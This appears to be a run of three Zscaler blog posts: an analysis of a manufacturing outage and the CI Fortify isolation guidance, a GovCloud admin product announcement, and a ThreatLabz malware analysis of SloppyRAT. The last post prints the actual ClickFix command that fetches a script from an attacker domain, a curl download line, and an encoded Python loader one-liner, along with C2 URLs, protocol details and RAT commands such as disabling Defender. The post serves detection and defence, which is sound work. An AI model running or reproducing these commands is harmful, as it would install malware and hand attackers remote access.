restored.What makes this incident worth studying is how little the attacker appears to have done relative to what it cost. In an August 30 update the company said the unauthorized activity was limited to certain on-premises systems, that its cloud systems were unaffected, and that investigators had found no indication of unauthorized activity in its environment after August 25. The attacker was contained within a day. The outage ran for two weeks and forced a revision to guidance.The company's own description of what went down is the most useful sentence in the record. It listed the affected systems as operational technology support functions and the business applications required to manufacture products, process customer orders, and ship devices. Nothing in the public record says a controller, an HMI, or anything on the plant network was touched. On the record this is not an OT compromise; it is an OT outage, caused by an IT containment decision. For the people running the line, that distinction did not change what the outage cost. It does change what would have prevented it. Two halves of securing a plantMost of the conversation about OT security, including a good share of what we have published, is about one problem: protecting the equipment that touches the physical process. Segmenting the controllers, brokering vendor remote access, inventorying devices that cannot take an agent, watching the engineering workstations that program the PLCs. That work is still needed and most plants are nowhere near done with it. But it is one half of securing a plant floor, and it addresses only one of the two ways a plant fails. The other half is staying available. Boston Scientific's outage came from the second half, while the first half, as far as anyone has said, held.Consider what a plant needs to run a single shift. An order has to be released from the ERP and a schedule has to reach the MES. Materials are issued and lots are traced. In a regulated medical device plant, sterilization and quality release have to be scheduled and recorded before anything ships. Labels print from a system that pulls from the ERP, and operators log in against a directory service. It is very common for all of these services to live in, be operated by, and be connected to the IT space. They serve the plant floor, though not always solely, and they are serviced by internal IT resources rather than the plant team. Boston Scientific called them "OT support functions." CI Fortify, the joint isolation guidance CISA and its international partners published in July, calls them enabling systems. Either name is fine; what matters is that they get counted.In the Purdue reference model that most OT architectures still map to, the physical process and its controllers sit at Levels 0 through 2, plant operations systems like MES and historians at Level 3, and the enterprise systems above them at Level 4. OT security programs are usually scoped to the lower levels, and for good reason: that is where the safety and integrity risk lives. The systems at Level 3 and above play a dual role that is easy to miss. To the IT organization they are business applications with an uptime SLA. To the plant they are production infrastructure, and when one is offline the line stops just as surely as if a controller had failed. Neither team is wrong about its scope. The gap is a shared understanding of which systems play both roles, and what the plant looks like when one of them is deliberately switched off. The half of CI Fortify that gets overlookedCI Fortify, published July 28, 2026 by CISA, ASD's ACSC, the FBI, NCSC-UK, and the Canadian Centre for Cyber Security, is titled Advice for Isolating Vital Systems. Its scope, stated on the first page, is vital OT and enabling systems. Operators are asked to record every interconnection between those systems and the corporate network, vendors, and cloud services, to mark the isolation points, and to test isolating all vital systems together, because testing one system at a time will not surface the dependencies between them.Much of the industry's response, including our own When "Prepare to Disconnect" Becomes Official Guidance, concentrated on the first half of that scope. We wrote about flat plant networks that have no pre-built isolation points to execute, and about making isolation a tested policy rather than an emergency improvisation. That post also drew a boundary we can now put a name to: isolating quickly and operating in isolation for an extended period are two different capabilities, and while a kill switch answers the first, the second depends on knowing which enabling systems the plant needs and whether it can run without them.The Boston Scientific outage is the problem that second capability exists to solve. The guidance itself warns that disconnecting will stop equipment that was never damaged if authentication, name resolution, or other required services sit outside the isolation boundary. That is a fair description of a medical device plant with the ERP and the directory turned off. The enabling-systems half of CI Fortify is the half that would have mattered here, and it gets overlooked partly because there is no sensor or appliance that addresses it. It is an architecture and dependency-mapping problem, which makes it harder to sell as a product and easier to postpone. The containment tax, measuredBoston Scientific is one instance of a pattern that has been visible for years. Set aside the genuine OT compromises - the 2017 Triton attack on safety controllers at a petrochemical plant, or the December 2025 wiper attack on Poland's energy sector that damaged remote terminal units at more than thirty wind and solar sites - and look at the incidents that made "OT" headlines without any operational technology being attacked. They sort into two groups.Precautionary shutdown, OT untouched. Colonial Pipeline in 2021 shut the pipeline for about six days, reportedly over concern about its billing systems rather than its control systems. Toyota idled fourteen plants for a day in 2022 because a parts supplier, not Toyota, had been hit. Nucor in May 2025 disclosed that, in an abundance of caution, it had proactively halted certain production operations at various locations while it took potentially affected IT systems offline.Dependency collapse: plants fine, product can't ship. Clorox in 2023 fell back to manual order processing, reported significant product outages, and booked $49 million in costs by year end. Asahi in 2025 lost its ordering and shipping systems in Japan; a company spokesperson told AFP that production was not directly affected but had been halted because shipments were suspended, and shelves ran short of beer. Jaguar Land Rover in 2025 stopped production for roughly five weeks after an IT shutdown and needed a £1.5 billion government-backed loan guarantee to stabilize its supplier base. Boston Scientific joins this group.In each case the number that showed up in the disclosure was not dwell time or the attacker's reach. It was the gap between how long the intrusion lasted and how long the outage lasted. At Boston Scientific that gap is roughly one day against fifteen: the last unauthorized activity the company has reported was on August 25, and it declared operations fully restored on September 9.That gap is the containment tax: the cost of the only containment option the architecture allowed, which took plant availability down with it even though the attacker never caused that directly. The tax has several line items. Lost production days are the visible one. Behind them sit the cost of running manual processes, the backlog and expedite costs once systems return, the rebuild and validation effort in a regulated environment, and in this case a public revision to guidance. Every one of those was paid whether or not the attacker ever intended to reach a plant, because the architecture gave responders one option, and it disconnected the plant along with the compromised systems. Isolating the enterprise without isolating the plantThe tax is paid because containment in most environments is binary. Once an intrusion is confirmed in enterprise IT, responders have one action that is guaranteed to work, and it takes the plant's dependencies down as a side effect. More detection on the plant network does not change that calculus; a sensor there would have reported a healthy, idle plant for two weeks.What changes the calculus is enforcement at the seam where the plant meets the enterprise. In Purdue terms that seam is Level 3.5, the industrial DMZ, and in most plants it is a firewall pair with a route table behind it. Once an enterprise incident is confirmed, the only containment available is to close that boundary, and every Level 3 system that depends on Level 4 goes down with it. Zero Trust Branch replaces that boundary with policy. Deployed at Level 3 and 3.5, it brokers each flow between the plant's operations systems and the enterprise - MES to ERP, quality release to the directory, label printing to the order system - as an explicit, identity-based connection through the Zero Trust Exchange rather than an implicit path across a DMZ. Two things follow. A containment action can be scoped to the tier that is actually affected, because there is a specific policy to revoke rather than a whole boundary to close, and the plant's paths to the enabling systems it still needs are defined connections that can be kept open while the rest of the enterprise is cut off. Zero Trust Segmentation applies the same principle inside Level 3 and below, so a compromise that does reach an operations system cannot spread to the controllers, and Privileged Remote Access brokers the contractor paths into both layers, one of the most common entry points in industrial incidents. None of this maps the dependencies for you or decides which enabling systems are vital; that remains the operator's work under CI Fortify, and it is the input that makes scoped containment possible. Run the dependency testPick one plant and one shift. List everything that has to be up for that shift to release product, then mark each item as living on the plant floor or in enterprise IT, and for each enterprise item write down what happens to the line if it is offline for a day. The list is usually longer than expected, and the enterprise items on it have often never been in scope for the OT security program, not through anyone's neglect but because the dual role of those systems was never written down. That list is your CI Fortify connection map, and it is also the scope of your next containment decision.If you would rather work through that exercise with someone who has done it before, request an OT architecture workshop and we will map vital systems, enabling systems, and isolation points against the CI Fortify model with your team.

The Modern Admin Experience Comes to GovCloud

Michael Clark (Director, Product Management) — Thu, 10 Sep 2026 19:00:00 GMT

GovCloud customers can now administer, automate, and authenticate across their entire Zscaler deployment from a single management plane. This release brings together Experience Center, OneAPI, and Authentication Service into one operational layer, closing the longstanding separation between products at the admin level.This isn't three separate product launches. It's one story: government and defense industrial base customers now have a unified platform for managing their entire deployment with programmable automation and a consolidated identity foundation underneath it.Since earning FedRAMP Moderate authorization in 2018, Zscaler has steadily expanded GovCloud capabilities. This release brings that trajectory to the management layer: one policy engine, one API surface, and one identity integration, all built within a FedRAMP authorized boundary. Why Separate Portals Create Compounding RiskGovernment security teams have historically managed their Zscaler environments across multiple portals. ZIA, ZPA, and ZDX each had their own admin interface, their own login, and their own workflows. That fragmentation creates operational overhead, increases the risk of policy drift between products, and makes it harder to respond quickly during incidents.Every product with its own admin interface introduces a separate login, a separate policy engine, and a separate audit trail. Three places where policy can drift out of alignment without anyone noticing until a compliance review surfaces the gap. Manual changes require the same update repeated across interfaces with no version control, no programmatic validation, and multiplying IDP integration points to rotate and audit.For agencies pursuing continuous ATO or operating under tight staffing constraints, this overhead directly slows the pace at which teams can respond and scale. Experience Center: Centralized Administration and VisibilityExperience Center is the operational hub. It consolidates the management, configuration, and monitoring of your entire Zscaler deployment into a single console.What this means for your team:Unified policy management. Configure and enforce security policies across ZIA, ZPA, and ZDX from one console. Policies stay consistent because they are managed in one place, reducing the risk of configuration gaps between products.Correlated telemetry in a single timeline. Reporting, dashboards, and operational telemetry are consolidated across products. Your team can diagnose cross-product issues without switching interfaces during an active incident.Simplified audits and provisioning. A single administrative record across all products with zero-touch workflows means fewer places to pull evidence from during compliance reviews and faster onboarding of new locations and connectors.One RBAC model. Platform administrators onboarding new team members need one set of workflows to train on, not three separate permission systems with divergent terminology.For lean government IT teams managing complex multi-product deployments, this consolidation is a meaningful operational improvement. OneAPI: Programmable Policy and IntegrationA unified console is the starting point. OneAPI extends the management experience through a unified API gateway that provides programmatic access to supported management, configuration, analytics, and event-monitoring capabilities across Zscaler products.What this means for your team:Automated management at scale. Use supported product APIs to automate recurring policy and configuration workflows, reducing manual effort and improving consistency during large scale rollouts. Integration with existing systems. Incorporate supported Zscaler APIs and event notifications into existing CI/CD, SOAR, SIEM, and custom automation workflows.Reduced operational risk. In high-compliance environments, manual changes carry risk. Automation with proper change controls is safer, faster, and auditable by design.For agencies running DevSecOps pipelines, OneAPI provides a consistent foundation for integrating supported Zscaler capabilities into their existing operational workflows. Authentication Service: One Identity Across the PlatformUnified management requires unified identity. Today, ZIA, ZPA, and ZDX each maintain their own identity federation with your IDP, meaning your team is likely managing 5-6 separate integration configurations just for admin access. Authentication Service replaces all of them with a single OpenID/SAML-based authentication layer.What this means for your team:Consolidated Federal ICAM. One integration replaces multiple per-product federations. Fewer integration points to audit, fewer configurations to rotate, and a smaller surface overall.Native FIDO2 key enrollment. Admins can enroll FIDO2 keys directly within Zscaler, independent of IDP provisioning timelines.Identity-aware access controls. Authentication Service distinguishes between human administrators, API-driven service accounts, and automated tools, providing visibility into who and what is accessing your management plane.Safe, customer-controlled migration. The migration is wizard-guided with automatic policy carryover and a revert option during the transition window. Your team validates before committing.Once complete, your IDP team can decommission the legacy per-product configurations. User-side identity consolidation will follow in a subsequent phase. Government customers will have additional runway before any legacy portal changes take effect. Getting StartedAll three capabilities are available now for GovCloud Moderate and High tenants with no additional deployment required. To begin enablement, contact your Zscaler Federal account team or visit zscaler.com/federal.One platform. One identity. Fully programmable.

SloppyRAT: A New Tool For Ransomware Attacks

ThreatLabz (Zscaler) — Thu, 10 Sep 2026 14:43:37 GMT

IntroductionIn June 2026, Zscaler ThreatLabz identified a new malware family, tracked as SloppyRAT, that is likely leveraged by a ransomware-related threat actor. ThreatLabz observed SloppyRAT being delivered through a multi-stage ClickFix infection chain. The malware supports a variety of features including a large number of built-in PowerShell-like commands, encrypted code blocks, EtherHiding for command-and-control (C2) resolution through the Polygon JSON-RPC protocol, and multiple anti-analysis techniques. Beyond SloppyRAT’s capabilities, the malware is notable because the codebase includes numerous software flaws, which suggest that it is still under development. Key TakeawaysIn June 2026, ThreatLabz identified SloppyRAT, a new malware family likely used in ransomware attacks to establish a foothold for lateral movement.SloppyRAT uses several techniques to make analysis more difficult, including encrypted code blocks that are decrypted and executed at runtime, as well as junk code and indirect system calls.SloppyRAT has an EtherHiding implementation as a backup channel for C2, which can be used to hinder disruption efforts.SloppyRAT uses certificate pinning to prevent networking monitoring solutions from using Man-in-the-Middle (MiTM) attacks to inspect TLS traffic.SloppyRAT has a large number of built-in PowerShell-like commands that provide attackers with remote access.The code contains software bugs that impact some of SloppyRAT’s features. Technical AnalysisIn the following sections, ThreatLabz provides a technical analysis of SloppyRAT, including its infection vector, anti-analysis techniques, network protocol, and command execution functionality.Infection vectorThreatLabz observed SloppyRAT distributed via a ClickFix style lure, using finger.exe to download and execute a batch script from finger.linked4x[.]com as shown in the command line below:"C:\windows\system32\cmd.exe" /c s^t^a^r^t "" /min for /f "delims=@" %o in (',f^^i^^n^^g^^e^^r^^r^^r^^g^^e^^r ixwcQmlCSK@f^^i^^n^^g^^e^^r^^r^^e^^r^^.^^linked4x.com') do %o & ' --Verify ---------------------------- press---ENTER-- 'The finger.exe utility uses the Finger protocol, which typically communicates with servers over TCP port 79. Most corporate environments do not require this tool or protocol. Therefore, organizations can block egress traffic on port 79 and block the execution of the finger.exe utility.The downloaded batch script copies (the native Windows) curl.exe to the AppData directory using a filename that consists of numbers and a .com extension. The renamed curl executable is then used to download IronPython from GitHub using the following command line: "C:\Users\[redacted]\AppData\Local\9342371634011778.com" -s -L --tlsv1.2 --ssl-no-revoke -o "C:\Users\[redacted]\AppData\Local\IronPython.3.4.2.pdf" github.com/IronLanguages/ironpython3/releases/download/v3.4.2/IronPython.3.4.2.zipIronPython is renamed and then used to execute zlib compressed Base64-encoded Python code via the command line shown below, which downloads and runs additional stages, leading to the deployment of CastleLoader, and ultimately, CastleRAT."C:\Users\[redacted]\AppData\Local\IronPython.3.4.2\net462\31706105999761.exe" -c "import base64,zlib,sys,subprocess as s;s.Popen([sys.executable,'-c',zlib.decompress(base64.b64decode('eJytEtLwAUhbMW/A8FF0Bq1aeEirhpeALi4o7qw1ixdbWPLQq/eege/iJVgN4uIjmfuaM2earkVRNBYPYleci4E4Eh1kL7FiTgTU2JvYov4TPtoDfFEzEUu+mJHHIiVscJee/rCvEuUokFPjq69YXLJzv7StZjd/Y70SYe5jxtLl6CncL09xtBzi2fW26c+ITfkPSVX0luQH/FeoDd3M4P2Jzdv7s6x/41ndfSUzHwhluFByjNB828azi+souev/OZ874d8LjPL/NotmDwj+w7y88+6yh72Lkm9AzpuxcM9Q8wlX0n0e')).decode('utf-32'))]"Note that the CastleLoader and CastleRAT components were downloaded from skipraid[.]com using the User-Agent string K8VGmQTrzX. Alongside CastleRAT, the threat actor chose to deploy an additional Python interpreter that was downloaded and written to disk (instead of re-using the IronPython interpreter). The threat actor then used the pythonw.exe interpreter to download and execute a Python script from hxxps://stro7121.blob.core.windows[.]net/dpp1/config.py.SloppyRAT stagerThe config.py script’s purpose is to download and reflectively load a DLL in memory. This script downloaded a SloppyRAT DLL from hxxps[://]stro7121[.]blob[.]core[.]windows[.]net/dpp1/hostfxr[.]dll and invoked the DLL export name f3b980dea. The config.py script used the distinctive User-Agent Mozilla/5.0 (compatible; DLLMemLoader/1.0). The SloppyRAT DLL that was downloaded from this URL is the sample that was analyzed in the following sections.Anti-analysisSloppyRAT employs several anti-analysis techniques to hinder analysis and detection.String obfuscationSloppyRAT uses three string obfuscation methods. The first decodes strings constructed on the stack, the second decodes global values, and the third decodes strings related to Polygon C2 communications.Stack strings are obfuscated with XOR using a unique 4-byte key for each string. Global values are decrypted using XOR, but with a single-byte key that changes per string. These strings include configuration values such as the SHA256 certificate hash, C2 URL, encryption key (which serves several purposes, including network communication) and an API key used for authentication.The Polygon resolver’s C2 strings use an affine cipher loop algorithm. Affine ciphers typically use the number 26 as a modulus to represent the English alphabet. However, SloppyRAT uses the modulus 127, which is the size of the ASCII table. Because the number 127 is coprime with all the numbers from 1 to 126, the algorithm avoids collisions and remains reversible. The following Python code implements the decryption algorithm, with A and B representing the keys that change for each string:(A * c + B) % 127 for c in cipherEncrypted code blocksSloppyRAT also uses code encryption to hinder analysis. A total of 13 functions are decrypted and executed at runtime. Information for each encrypted code block is stored in a table with the following structure:struct encrypted_routines_table { uint32_t rva; uint32_t size; uint32_t key; uint32_t reserved; };SloppyRAT uses the following XOR-based algorithm to decrypt each code block: for i in range(len(encrypted_function_buffer)): encrypted_function_buffer[i] ^= (i & 0xFF) ^ ((key >> (i & 31)) & 0xFF) return encrypted_function_buffer The functions are decrypted in place after the section permissions are changed to read/write/execute. The code remains decrypted in memory until the process terminates. Although the code can re-encrypt the functions with a different key (and SloppyRAT caches a copy of the plaintext for this purpose), this capability is not currently used, as shown in the figure below. Figure 1: SloppyRAT runtime code decryption routine.The 13 encrypted functions primarily support the malware’s initialization and network communication. The purpose of these functions is described below:Reads configuration global values and enters the communication loop.Dispatches tasks to the internal command execution handlers.Generates the machine ID and the session nonce used as a request ID for SOCKS communication.Creates a reverse SOCKS worker thread.Stops the reverse SOCKS worker thread.Requests a command from the C2 and parses the JSON response into an internal task structure.Generates a folder path for persistence in %LOCALAPPDATA%.Starts the C2 worker thread.Stores the returned session token in a global variable for subsequent authenticated requests.Runs the C2 worker loop.Checks whether the resolved NTDLL syscall gadget begins with 0F 05.Stops the C2 worker thread.Reads 4 configuration global values from the .rdata section. Junk codeThe SloppyRAT malware author inserted junk code throughout the program to hinder static analysis and evade signature-based antivirus detection. Most of this junk code serves no meaningful purpose such as allocating and freeing memory, calling Windows API functions, and performing bitwise operations. An example of the junk code is shown below.Figure 2: Example of SloppyRAT junk code.Indirect system calls and API hashingLike many modern malware families, SloppyRAT uses a Hell’s Gate-style technique to avoid security products that hook various Windows API functions. SloppyRAT first resolves the DJB2 hashes associated with the functions listed in the table below:HashFunction name0x6793C34CNtAllocateVirtualMemory0x95F3A792NtWriteVirtualMemory0xCB0C2130NtCreateThreadEx0x082962C8NtProtectVirtualMemory0x2C7B3D30NtResumeThread0x8B8E133DNtClose0x4C6DC63CNtWaitForSingleObject0x1703AB2FNtTerminateProcess0xD034FC62NtQueryInformationProcess0x15A5ECDBNtCreateFile0x5F8E4559NtCreateUserProcess0x2E979AE3NtReadFile0xD69326B2NtWriteFile0x4BB73E02NtOpenKey0xF52D5359NtSetValueKey0xB1BEF7F6NtOpenProcessTokenEx0x2CE5A244NtQueryInformationToken0x5DBF4A84NtCreateKey0x5003C058NtOpenProcess0xEE4F73A8NtQuerySystemInformation0xD5D4388CUnknownTable 1: Windows API functions resolved by SloppyRAT using DJB2 hashes.After identifying an export by its hash, SloppyRAT reads the start of the function. The malware searches the NTDLL stub for the opcode B8 (mov eax), extracts that 4-byte immediate value, and stores the syscall number in an internal table. The following assembly code shows how one of these NT functions can be parsed to obtain the syscall number.mov r10, rcx ; bytes: 4C 8B D1 mov eax, 0x123 ; bytes: B8 23 01 00 00 ← the syscall number syscall ; bytes: 0F 05 ret ; bytes: C3When SloppyRAT invokes the corresponding function, it does so through a direct syscall instead of using the Windows API. Note that SloppyRAT only uses the following 10 (out of the 21) resolved functions in the code:NtAllocateVirtualMemory NtWriteVirtualMemory NtCreateThreadEx NtProtectVirtualMemory NtResumeThread NtCreateFile NtCreateKey NtWaitForSingleObject NtTerminateProcess NtOpenProcessPersistenceSome SloppyRAT variants do not establish persistence. The variants that do, use one of two methods:Adding an entry under the HKCU\Software\Microsoft\Windows\CurrentVersion\Run registry key with the name rundll32.If the registry entry cannot be set, then SloppyRAT appears to be designed to perform COM hijacking by adding the malware path to the HKLM\Software\Classes\CLSID\{[clsid]}\InprocServer32 registry key instead.However, both methods appear to be implemented incorrectly. The Run registry value is set to execute rundll32.exe without specifying the necessary path to the SloppyRAT DLL and invoking the required export.The figure below shows SloppyRAT’s failed attempt to establish persistence using the Run registry key.Figure 3: SloppyRAT’s failed attempt at establishing persistence via the Run registry key.For COM hijacking to work, SloppyRAT must replace an already existing CLSID with a value to execute its own DLL. However, the malware generates a completely new CLSID based on the FNV-1a hash of the computer name, defeating the purpose of the technique. Similar to the Run registry code, SloppyRAT also doesn’t provide the correct path to the DLL and export in the CLSID value. The figure below shows SloppyRAT’s unsuccessful attempt to establish persistence through COM hijacking.Figure 4: SloppyRAT’s failed COM hijacking attempt.Network communicationSloppyRAT communicates over HTTPS with JSON-formatted messages. Depending on the sample, the C2 URL may be embedded in the configuration or retrieved from the Polygon blockchain through EtherHiding.Certificate pinningDuring the TLS handshake, SloppyRAT compares the server certificate against a hardcoded SHA256 hash. If the hash value does not match, SloppyRAT closes the connection, preventing network monitoring via TLS MiTM attacks. Older samples perform the TLS handshake through raw SChannel sockets, while newer samples use the WinHTTP API and retrieve the leaf certificate through WinHttpQueryOption. SloppyRAT computes the SHA256 hash of the entire DER-encoded certificate, rather than just the public key.EndpointsAfter completing the certificate-pinning check, SloppyRAT sends an authentication request with a hardcoded API key value in the X-API-Key HTTP header. The request also includes a machine ID (generated using an FNV hash of the volume serial number, volume name, file system name, and computer name) and a version number that may represent either the malware or protocol version. An example request is shown below.POST /api/auth HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: CommandExecutor/1.0 X-API-KEY: af4c426b8c4b3b4957875206948eedae09b670f349f2ffb70df7b7a6b06cd588 Content-Length: 49 Host: api.truesmart.org {"machine_id":"ae2e634db646790f","version":"1.0"}The SloppyRAT C2 server returns a session token, which the malware includes in subsequent requests using the Authorization Bearer HTTP header. For proxy-connection acknowledgements, SloppyRAT sends the token in the X-CSRF-Token header instead. The protocol supports authentication, system information reporting, and task execution. The C2 endpoints available are listed in the table below:HTTP methodPathRequest bodyResponseDescriptionPOST/api/auth{"machine_id":"[machine_id]","version":"1.0"}{"token":"[session_token]"}Authentication requestPOST/api/systeminfo{"systeminfo":"[Base64(RC4(system_info))]","encrypted":true}N/AOne-shot host fingerprintPOST/api/av_edr{"[field]":"[Base64(RC4(av_list))]","encrypted":true}{"success":true/false}Sends antivirus/EDR informationGET/api/poll?machine_id=(mid)N/A{} or {"action": "close/open", "request_id":"..."}Heartbeat and reverse SOCKS broker initiatorGET/api/command/getN/A{"command": {...|null, "id":N}, "shell_type": "cmd"|"powershell"|"auto"|”inline”}Requests a commandPOST/api/command/result{"id": N,"status": "completed" | "failed" | "timeout","result": "[Base64(RC4(stdout))]","error": "[Base64(RC4(stderr))]","exit_code": [int],"encrypted": true}N/ASends executed command resultsPOST/api/proxy/ack{"request_id":"[request_id]"}N/AReverse-SOCKS proxy confirmation responseTable 2: SloppyRAT C2 communication endpoints.The command results and system information are sent encrypted with RC4 using a hardcoded key and then Base64-encoded. SloppyRAT also supports a separate reverse SOCKS connection through the /api/poll response, allowing the operator to use the infected host as a proxy to access other systems on an internal corporate network for lateral movement.EtherHidingTo improve resilience against takedowns, SloppyRAT can retrieve C2 information from the Polygon blockchain network. However, this capability may still be in development because ThreatLabz has not identified any samples containing a smart contract address. Only the contract selector 0xd6bd8727 has been observed. The smart contract address can be supplied either in the configuration at build time or through the LOADER_POLYGON_RESOLVER environment variable.Command executionEach command received from the C2 server is formatted as JSON and contains a shell_type field with one of the following values:powershellcmdauto or inline (depending on the variant)The shell_type value is paired with a command string that determines which command handler SloppyRAT uses. The powershell value selects one of three increasingly-noisy command handlers (i.e. most likely to reduce the chances of triggering an EDR detection) to execute commands. The cmd value executes commands through WMI. The auto value chooses the appropriate command handler based on the command sent, while inline is a newer option that replaces auto in some variants that invokes the PSInline PowerShell handler described later.Built-in PowerShell-like command executionIf the shell_type is set to powershell, SloppyRAT first checks whether the command string matches one of 47 built-in commands. Although their names resemble PowerShell cmdlets, these commands are implemented in C++ and interact directly with Windows APIs rather than PowerShell. The table below lists these commands.Cmdlet / ExpressionParametersDescriptionWindows APIs / Mechanismwhoami—Retrieves the current user and computer name.GetUserNameW + GetComputerNameExWhostname—Retrieves the computer's DNS hostname.GetComputerNameExW(ComputerNameDnsHostname)$env:USERNAME—Retrieves the USERNAME environment variable.GetEnvironmentVariableW("USERNAME")$env:COMPUTERNAME—Retrieves the COMPUTERNAME environment variable.GetEnvironmentVariableW("COMPUTERNAME")[Environment]::UserName—Retrieves the logged-in username.GetUserNameW[Environment]::MachineName—Retrieves the NetBIOS machine name.GetComputerNameExW[Environment]::OSVersion / uname—Retrieves the operating system (OS) version.RtlGetVersioncaption—Retrieves the OS product name (e.g. "Windows 10 Pro")Win32_OperatingSystem.Caption[Environment]::Is64BitOperatingSystem—Determines whether the OS is 64-bit.GetNativeSystemInfo[Environment]::Is64BitProcess—Determines whether the OS is 64-bit.No API involved (sizeof(void*)==8)systemdirectory—Retrieves the path to %WINDIR%\System32.GetSystemDirectoryWprocessorcount—Retrieves the number of logical CPUs.GetNativeSystemInfo → dwNumberOfProcessorscurrentdirectory—Retrieves the process's current working directory.GetCurrentDirectoryWuptime—Retrieve the number of milliseconds since boot.GetTickCount64[System.Net.Dns]::GetHostName() / domain—Retrieves the host name or domain nameGetComputerNameExWpwd / Get-Location / gl—Prints the current working directory.GetCurrentDirectoryWcd / Set-Location / sl / chdir / set[path]Changes the current working directory.SetCurrentDirectoryWls / dir / gci / Get-ChildItem[path]Lists directory contents.FindFirstFileW + FindNextFileW + FindClosecat / type / Get-Content / gc[file]Reads a file's contents.CreateFileW + ReadFile + CloseHandleNew-Item / mkdir / md / ni-ItemType Directory [path]Creates a directory (recursively when needed).CreateDirectoryW + SHCreateDirectoryExWRemove-Item / del / erase / ri / rm[path] [-Recurse]Deletes a file or directory tree.DeleteFileW / RemoveDirectoryW (recursive via FindFirstFileW)ls env:—Retrieves all environment variables.GetEnvironmentStringsW + FreeEnvironmentStringsW$env:LOCALAPPDATA / APPDATA / TEMP / USERPROFILE / WINDIR / SystemRoot / SystemDrive—Reads user or system folder paths.GetEnvironmentVariableW / GetTempPathW / SHGetFolderPathW[Environment]::GetEnvironmentVariable(name)[name]Returns an environment variable by name.GetEnvironmentVariableWGet-Process / ps / tasklist / gps[name]Enumerates running processes.K32EnumProcesses + OpenProcess + GetModuleFileNameW + GetProcessTimesGet-Service—Enumerates Windows services.Dynamic advapi32: OpenSCManagerW + EnumServicesStatusExW + CloseServiceHandleStart-Process / saps / start / call / &[exe] [args]Spawns a new process.CreateProcessWGet-ComputerInfo—Retrieves system information.RtlGetVersion (dyn) + GetNativeSystemInfo + GlobalMemoryStatusEx + GetComputerNameExWGet-Date / date—Retrieves the current local date and time.GetLocalTime + SystemTimeToFileTime[Environment]::TickCount—Retrieves the tick count since boot.GetTickCount64$PSVersionTable—Retrieves PowerShell version information.RtlGetVersion checked against hardcoded product-name list (Win 7/8/8.1/10/11)Get-LocalUser—Enumerates local user accounts.Dynamic netapi32: NetUserEnum + NetApiBufferFreeGet-LocalGroupMember[group]Enumerates members of a local group (e.g., Administrators).Dynamic netapi32: NetLocalGroupGetMembers + NetApiBufferFreeGet-ItemProperty[registry path] (HKLM:\... / HKCU:\... / HKCR:\...)Reads a registry key's values.RegOpenKeyExW + RegQueryValueExW + RegEnumValueW + RegCloseKeyTest-NetConnection / tnc-ComputerName [host] -Port [port]Performs a TCP connectivity probe.WSAStartup + GetAddrInfoW + socket + ioctlsocket + connect + select + closesocketTest-Connection[host]Performs a TCP-based ping without ICMP.socket + connect + selectResolve-DnsName[host]Performs a DNS lookup for A and AAAA records.WSAStartup + GetAddrInfoW + FreeAddrInfoWGet-MpComputerStatus—Queries Microsoft Defender status.CoCreateInstance(WbemLocator) → ROOT\Microsoft\Windows\Defender → ExecQuery MSFT_MpComputerStatusSet-MpPreference / Add-MpPreference-[Setting] [Value] (e.g. -DisableRealtimeMonitoring $true)Modifies Microsoft Defender configuration.CoCreateInstance(WbemLocator) → ExecMethod on MSFT_MpPreferencegwmi / Get-WmiObject / gcim / Get-CimInstance[class] Queries an arbitrary Windows Management Instrumentation (WMI) class(e.g., Win32_Process).CoInitializeEx + CoCreateInstance(WbemLocator) → ROOT\CIMV2 → ExecQuery → IEnumWbemClassObjectfindstr / dir / search (WMI-translated)[pattern]Searches the filesystem by name or pattern using WMI.same WMI path → SELECT Name,FileSize FROM CIM_DataFile WHERE ...(New-Object Net.WebClient).DownloadFile[url] [dest]Downloads a file from a URL and writes it to the specified destination on disk.Dynamic WinHTTP: WinHttpOpen/Connect/OpenRequest/SendRequest/ReceiveResponse/ReadData + CreateFileW/WriteFileWScript.Shell.CreateShortcut(...)[lnk path] + target propertiesCreates an .lnk shortcut (persistence helper).CoCreateInstance(CLSID_ShellLink, IID_IShellLinkW) + IShellLinkW::SetPath/... + IPersistFile::Saveecho / Write-Output / Write-Host[text]Echoes text back to the operator.no API involved (string passthrough)iex / Invoke-Expression[expression]Re-dispatches a string as a command.no API involved (recursive call into the dispatcher with the expression as input)$LASTEXITCODE—Returns the last command's exit code.N/A-eq / -ne / -gt / -lt[left] [right]Compares integer or string valuesN/ATable 3: Built-in commands implemented by SloppyRAT.ThreatLabz identified SloppyRAT variants that omit these built-in commands, reducing the size of the binary by approximately 400KB.PowerShell (PSInline) execution via CLRIf the shell_type is set to powershell (or inline in some variants) but the command does not match a built-in command, SloppyRAT loads the .NET common language runtime (CLR) execution engine (clr.dll) through COM objects. It then loads System.Management.Automation.dll and calls PowerShell.Create().AddScript(cmd).Invoke() to execute the command. The SloppyRAT code internally refers to this command handler as PSInline.The handler stores the most recent command results in a temporary file in the %TEMP% directory. The filename uses a PNG extension to disguise itself as an image file. The contents of the file include a PNG header and the command results, which are encrypted via XOR with the hardcoded key (also used for network communication) in SloppyRAT’s configuration.PPID-spoofed PowerShell (PSSpoof) executionThis command execution path, referred to internally as PSSpoof, is only used when the .NET CLR instantiation through the PSInline command handler fails. This may happen if .NET is not installed or the COM interface is incompatible with the existing .NET installation. In this case, SloppyRAT spawns an actual powershell.exe process but with explorer.exe as the parent process ID. Parent process ID spoofing is accomplished by constructing a STARTUPINFOEX structure with the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute pointing to a handle for the explorer.exe process, then calling CreateProcessW. WMI command executionSloppyRAT also supports the value cmd for the shell_type, which launches a command-line through WMI using Win32_Process::Create. ConclusionSloppyRAT includes extraneous functionality, unusual design choices, and chaotic code. However, SloppyRAT’s capabilities are sufficient to support information gathering, reconnaissance, and lateral movement for ransomware-related attacks. The malware author also implemented a number of techniques to hinder static code analysis, endpoint detection, and network monitoring solutions. Organizations should take measures to ensure they have the proper security solutions in place to detect and prevent ClickFix-style attacks and subsequent payloads. Zscaler CoverageZscaler’s multilayered cloud security platform detects indicators related to SloppyRAT at various levels. The figure below depicts the Zscaler Cloud Sandbox, showing detection details for SloppyRAT.Figure 5: Zscaler Cloud Sandbox Report for SloppyRAT.In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to the threat described in this blog with the following threat names:Win64.Loader.PSInlineLoaderWin64.Rat.SloppyRATZscaler MDR also detects this threat on endpoints using indicators of compromise and this detection analytic:WIN-PYTHON-REMOTE-CODE-EXEC Indicators Of Compromise (IOCs)IndicatorDescription9f84cfcf988530941555d1cb7780a091743cf567396201eff7731f5475768f9aSHA256 of SloppyRAT 